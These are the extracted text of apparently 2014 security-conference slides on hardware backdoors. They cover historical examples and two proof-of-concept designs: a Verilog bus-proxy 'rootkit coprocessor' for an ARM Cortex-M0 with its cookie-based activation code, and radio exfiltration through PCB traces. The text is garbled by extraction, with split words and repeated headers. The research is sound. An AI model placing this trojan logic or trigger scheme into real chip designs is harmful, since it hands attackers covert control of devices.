Malicious hardware is a mature topic but previous research has focused almost exclusively on theoretical applications. In this article, practical implementations of gate-level backdoors will be presented using the Verilog hardware description language, then simulated and finally synthesized using freely available deep sub-micron (45-180 nm) standard cells, resulting in a backdoored latest-generation ARM CPU, suitable for fabrication and massive deployment.

1. Introduction
MALPROXY
RiFt: Ex

2. ltration
Deep-Submicron Backdoor
Syscan Singapore 2014
Alfredo Ortega
Groundworks Technologies Deep-Submicron Backdoor

3. Introduction
MALPROXY
RiFt: Ex

4. ltration
Agenda
Introduction
History
Non-gov examples
Agenda
Deep-Submicron VLSI: Technology smaller than 350nm
Hardware Backdoors History
Non-Gov examples
Unintentional backdoors
Why create a CPU backdoor
Malproxy BUS backdoor (Demo)
RFI Ex

5. ltration backdoor (Demo)
Questions
Groundworks Technologies Deep-Submicron Backdoor

6. Introduction
MALPROXY
RiFt: Ex

7. ltration
Agenda
Introduction
History
Non-gov examples
Introduction
Hardware": overused
Not Hardware:
Regular user-mode backdoors - Re
ections
on Trusting Trust"
Weakening of protocols/cryptography (See
RSA Dual EC DRBG saga)
Very practical
Particularly dangerous
Easy to catch
Software
User−mode
Kernel−mode
Hypervisor
Firmware
Microcode
Physics
Regular Rootkits
Hardware
Groundworks Technologies Deep-Submicron Backdoor

8. Introduction
MALPROXY
RiFt: Ex

9. ltration
Agenda
Introduction
History
Non-gov examples
Hardware" backdoors?
Still in software/

10. rmware
Specially dangerous if massive (adversary can
use them)
More expensive to detect (No AVs)
Software
User−mode
Kernel−mode
Hypervisor
Firmware
Microcode
Physics
Regular Rootkits
Bios Rootkits
SMM Rootkits
AMT Rootkits
Hardware Our talk
Groundworks Technologies Deep-Submicron Backdoor

11. Introduction
MALPROXY
RiFt: Ex

12. ltration
Agenda
Introduction
History
Non-gov examples
History
The Great Seal Bug
Also called The Thing"
one of the

13. rst covert
listening devices (Found in
1945)
Designed by Leon Theremin
Sound-modulated resonant
cavity: No external power.
Groundworks Technologies Deep-Submicron Backdoor

14. Introduction
MALPROXY
RiFt: Ex

15. ltration
Agenda
Introduction
History
Non-gov examples
Clipper chip
Clipper chip
Developed and promoted by
the U.S. NSA
Announced in 1993
Skipjack algorithm - Key
escrow mechanism
Cryptographer Matt Blaze
published a serious
vulnerability.
Entirely defunct by 1996
Groundworks Technologies Deep-Submicron Backdoor

16. Introduction
MALPROXY
RiFt: Ex

17. ltration
Agenda
Introduction
History
Non-gov examples
NSA Ant division Catalog
NSA ANT Insert catalog
Catalog of hardware
backdoors
Developed from 2005 to 2010
Leaked by Edward Snowden
Groundworks Technologies Deep-Submicron Backdoor

18. Introduction
MALPROXY
RiFt: Ex

19. ltration
Agenda
Introduction
History
Non-gov examples
Non-gov examples (Legit backdoors)
Intel Anti-theft tech
Network equipment lawful interception
Research and Academia:
IEEE Hardware-Oriented Security
and Trust (HOST)
NYU-Poly Embedded-System
Challenge
Too many to cite. Very advanced.
Stealthy Dopant-Level Hardware Trojans
Becker Et. Al.
Groundworks Technologies Deep-Submicron Backdoor

20. Introduction
MALPROXY
RiFt: Ex

21. ltration
Agenda
Introduction
History
Non-gov examples
Unintentional backdoors
World-accesible re
ashing mechanisms
(BIOS,micro-sd, pendrives, etc.)
Most

22. rmware-backdoors
Silicon-PROASIC3 backdoor
(Skorobogatov Et. Al.)
JTAG-interfaces
Convenience/Security tradeo
Groundworks Technologies Deep-Submicron Backdoor

23. Introduction
MALPROXY
RiFt: Ex

24. ltration
Agenda
Introduction
History
Non-gov examples
Rationale
No real backdoor on silicon to analyze,
all theoretical examples.
Let's make a real one. Our approach:
Real silicon ASIC design
Generic and simple payload
trivial to locate. No eort on stealth.
Ready for massive deployment
Two basic attacks:
1 Bus-intrusion (MALPROXY)
2 data-ex

25. ltration (RiFt)
R i Ft
MAL PROXY
Groundworks Technologies Deep-Submicron Backdoor

26. Introduction
MALPROXY
RiFt: Ex

27. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY
3
4
7
1
2
13
12
11
10
9
15
Malicious Bus Proxy
RAM
BUS
CPU
5
6
14
MALPROXY Bus backdoor
Small malicious state-machine
Peek/Poke functionality
AMBA-compatible
CPU/Software independent
Real system (ARM Cortex-M0
DesignStart)
FPGA and silicon-ready
Easy to detect
Groundworks Technologies Deep-Submicron Backdoor

28. Introduction
MALPROXY
RiFt: Ex

29. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY
High-level Design
Constantly monitoring the AMBA bus.
If command correctly parsed, take
control of the bus and modify memory.
Only two commands needed for
execution control:
Peek mem32
Poke mem32
If software/arch is known, only Poke
command is enough.
Search activation
cookie
Read command
Read address
Read data
Execute command
Groundworks Technologies Deep-Submicron Backdoor

30. Introduction
MALPROXY
RiFt: Ex

31. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY: Verilog
1 // -------------------------------------------------
2 // Trivial rootkit coprocessor unit
3 // -------------------------------------------------
4 reg [5:0] RTKState ;
5 reg [8:0] RTKCmd ;
6
7 reg [3:0] RTKCount ;
8 `define RTK_FIND_START 5'h0
9 `define RTK_FIND_CMD 5'h1
10 `define RTK_FIND_DATA 5'h2
11 `define RTK_FIND_ADDR 5'h3
12 `define RTK_EXEC 5'h4
13 `define RTK_EXEC2 5'h5
14 `define RTK_END 5'h6
15 `define RTK_CMD_WRITE W
16 `define RTK_CMD_READ R
17
18 // 56 - bit initial cookie
19 // I.E. memcpy x78 x56 x34 x12R xaa x55 xaa ;
20 `define RTK_COOKIE_1 32' h12345678
21 `define RTK_COOKIE_2 24' h434241
22 `define RTK_COOKIE_3 24' h2D2D2D // ---
1 always @( posedge HCLK or posedge HRESETn )
2 begin
3 if (! HRESETn ) // Reset
4 begin
5 RTKState = `RTK_FIND_START ;
6 RTKDeviated =0;
7 end
8 else begin
9 case ( RTKState )
10 `RTK_FIND_START : // Find first part of cookie
11 if ( HWDATA == `RTK_COOKIE_1 )
12 begin
13 RTKState = `RTK_FIND_CMD ;
14 end
15 `RTK_FIND_CMD : // Load second part of cookie and
16 begin // single - byte command
17 if ( HWDATA [31:8] == `RTK_COOKIE_2 )
18 begin
19 RTKCmd = HWDATA [7:0];
20 RTKState = `RTK_FIND_DATA ;
21 RTKCount =0;
22 end
23 else RTKState = `RTK_FIND_START ;
24 end
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32. Introduction
MALPROXY
RiFt: Ex

33. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY: Logic
Malproxy 180nm,
100 Mhz:
476 Cells
1.032 mW
0.019 mm2
Total (with Cortex
M0):
9526 Cells
14.7 mW
0.38 mm2
Logic diagram (incomplete)
Groundworks Technologies Deep-Submicron Backdoor

34. Introduction
MALPROXY
RiFt: Ex

35. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY: ASIC
Implementation:
ARM AMBA-bus compatible
100% Verilog FPGA+ASIC compatible
Two process:
OSU TSMC 180nm6-layer
Nangate 45nm10-layer
https://github.com/Groundworkstech/
Submicron
(ARM core requires separate license)
Placed and Routed, ARM + MalProxy, 180nm 6 metal layers
Groundworks Technologies Deep-Submicron Backdoor

36. Introduction
MALPROXY
RiFt: Ex

37. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY
Demo 1: 45 nm 10-Layer structure
Groundworks Technologies Deep-Submicron Backdoor

38. Introduction
MALPROXY
RiFt: Ex

39. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY
45-nm 10-layer
SOC Encounter
Digital
ow
(Cadence)
GDSII output
Visible code
style dierences
Groundworks Technologies Deep-Submicron Backdoor

40. Introduction
MALPROXY
RiFt: Ex

41. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY
Command encoding:
`define RTK_COOKIE_1 32'h12345678
`define RTK_COOKIE_2 24'h434241
`define RTK_COOKIE_3 24'h2D2D2D
`define RTK_CMD_WRITE W
`define RTK_CMD_READ R
------32 bits -------
- [RTK_COOKIE_1]
- [RTK_COOKIE_2 + Command]
- [RTK_COOKIE_3 + DATA]*4
- [RTK_COOKIE_3 + ADDR]*4
- [RTK_COOKIE_3 + EXEC] : Executes Command
EXEC disconnects the CPU from the BUS and CLK for 2 clocks total.
Groundworks Technologies Deep-Submicron Backdoor

42. Introduction
MALPROXY
RiFt: Ex

43. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY:Activation
Example activation code (*):
1 char buf [40];
2 char * str= x78 x56 x34 x12WABCA ---A---A---A---x00 ---x00 ---x0a ---x65 ---;
3 while ( TRUE ) {
4 puts ( Main thread : hello world );
5 memcpy (buf ,str ,40); -- Backdoor activates here
6 chSchDoRescheduleBehind ();
7 }
(*) Activation can be triggered by any other means, e.g. network transfer, DMA, etc.
Groundworks Technologies Deep-Submicron Backdoor

44. Introduction
MALPROXY
RiFt: Ex

45. ltration
Introduction
High-level design
Logic
ASIC
Usage
MALPROXY
Demo 2: Backdoor activation
Groundworks Technologies Deep-Submicron Backdoor

46. Introduction
MALPROXY
RiFt: Ex

47. ltration
Introduction
Simulation
Measurements
End
RiFt: Data ex

48. ltration
We are not limited by standard
communication (TCP/IP, etc)
Many side-channels are available.
We chose forced RFI using PCB traces
Even LED traces can be used
Target: Altera DE1 FPGA dev-board
Reception with RTL-SDR, up to 5
meters with standard receiver antenna
DE1 PCB
Groundworks Technologies Deep-Submicron Backdoor

49. Introduction
MALPROXY
RiFt: Ex

50. ltration
Introduction
Simulation
Measurements
End
RiFt: Harmonics
How it works?
CPUs and FPGAs usually can't emit
RF directly.
They can switch a pin on/o very fast
(100 Mhz)
This produces a square wave with
in

51. nite sinusoidal harmonics
We can use any of those harmonic
frequencies
For now, just simple modulation (AM,
on/o)
Groundworks Technologies Deep-Submicron Backdoor

52. Introduction
MALPROXY
RiFt: Ex

53. ltration
Introduction
Simulation
Measurements
End
RiFt: Harmonics
Groundworks Technologies Deep-Submicron Backdoor

54. Introduction
MALPROXY
RiFt: Ex

55. ltration
Introduction
Simulation
Measurements
End
RiFt: Simulation
Numerical Electromagnetic Codes (xnec2c): Gain vs Freq / 3d Radiation pattern
Groundworks Technologies Deep-Submicron Backdoor

56. Introduction
MALPROXY
RiFt: Ex

57. ltration
Introduction
Simulation
Measurements
End
RiFt: Simulation
Numerical Electromagnetic Codes (xnec2c), data

58. le:
CM NEC Input File
CM Monopole radius 0.001m, lenght 17m above perfect ground
CM Monopole pcb trace 0.0001m, lenght 17m above perfect ground
CM Excitation at base by a 1V source
CM GW 9 , 8, 0.00000E+00, 0.00000E+00, 0.00000E+00, 0.00000E+00, 0.00800E+00, 0.00000E+00, 1.00000E-03
CM Antenna geometry
CE
GW 1 , 8, 0.00000E+00, 0.00000E+00, 0.00100E+00, 0.10000E+00, 0.00000E+00, 0.00100E+00, 1.00000E-03
GW 2 , 8, 0.00000E+00, 0.00100E+00, 0.00100E+00, 0.10000E+00, 0.01000E+00, 0.00100E+00, 1.00000E-03
GW 3 , 8, 0.00000E+00, 0.00200E+00, 0.00100E+00, 0.10000E+00, 0.02000E+00, 0.00100E+00, 1.00000E-03
GW 4 , 8, 0.00000E+00, 0.00300E+00, 0.00100E+00, 0.10000E+00, 0.03000E+00, 0.00100E+00, 1.00000E-03
GW 5 , 8, 0.00000E+00, 0.00400E+00, 0.00100E+00, 0.10000E+00, 0.04000E+00, 0.00100E+00, 1.00000E-03
GW 6 , 8, 0.00000E+00, 0.00500E+00, 0.00100E+00, 0.10000E+00, 0.05000E+00, 0.00100E+00, 1.00000E-03
GW 7 , 8, 0.00000E+00, 0.00600E+00, 0.00100E+00, 0.10000E+00, 0.06000E+00, 0.00100E+00, 1.00000E-03
GW 8 , 8, 0.00000E+00, 0.00700E+00, 0.00100E+00, 0.10000E+00, 0.07000E+00, 0.00100E+00, 1.00000E-03
GE
FR 0, 1000, 0,0, 100, 1
EX 0 1 1 10 1
RP 0, 19, 36, 1000, 0, 0, 10, 10
EN 0 , 0 , 0 0 , 0.00000E+00 , 0.00000E+00 , 0.00000E+00 , 0.00000E+00 , 0.00000E+00 , 0.00000E+00
Groundworks Technologies Deep-Submicron Backdoor

59. Introduction
MALPROXY
RiFt: Ex

60. ltration
Introduction
Simulation
Measurements
End
RiFt: Demo
Demo 3: Antenna simulation
Groundworks Technologies Deep-Submicron Backdoor

61. Introduction
MALPROXY
RiFt: Ex

62. ltration
Introduction
Simulation
Measurements
End
RiFt: Measurements
Measurements: Setup
Groundworks Technologies Deep-Submicron Backdoor

63. Introduction
MALPROXY
RiFt: Ex

64. ltration
Introduction
Simulation
Measurements
End
RiFt: Measurements
Measurements results
40
30
20
10
0
10
20
30
40
700 Mhz RiFt power measurement
0 10 20 30 40
40 30 20 10 0 10 20 30 40
dBSM
Azimuth
- using 1:($3-$2)
Groundworks Technologies Deep-Submicron Backdoor

65. Introduction
MALPROXY
RiFt: Ex

66. ltration
Introduction
Simulation
Measurements
End
RiFt: Directionality
DE1 board LED 1-8 PCB traces at 700 Mhz, order is 1,3,2,4,7,8:
Parasitic antenna array showing Yagi-like directionality
Groundworks Technologies Deep-Submicron Backdoor

67. Introduction
MALPROXY
RiFt: Ex

68. ltration
Introduction
Simulation
Measurements
End
RiFt
Demo 4: RiFt in action!
Groundworks Technologies Deep-Submicron Backdoor

69. Introduction
MALPROXY
RiFt: Ex

70. ltration
Introduction
Simulation
Measurements
End
The end
Thanks! Any question?
Deep-Submicron Backdoor project was created by researchers Fernando Russ and Alfredo Ortega (Twitter: @ortegaalfredo ) from Groundworks
Technologies
Buenos Aires, Argentina
Groundworks Technologies Deep-Submicron Backdoor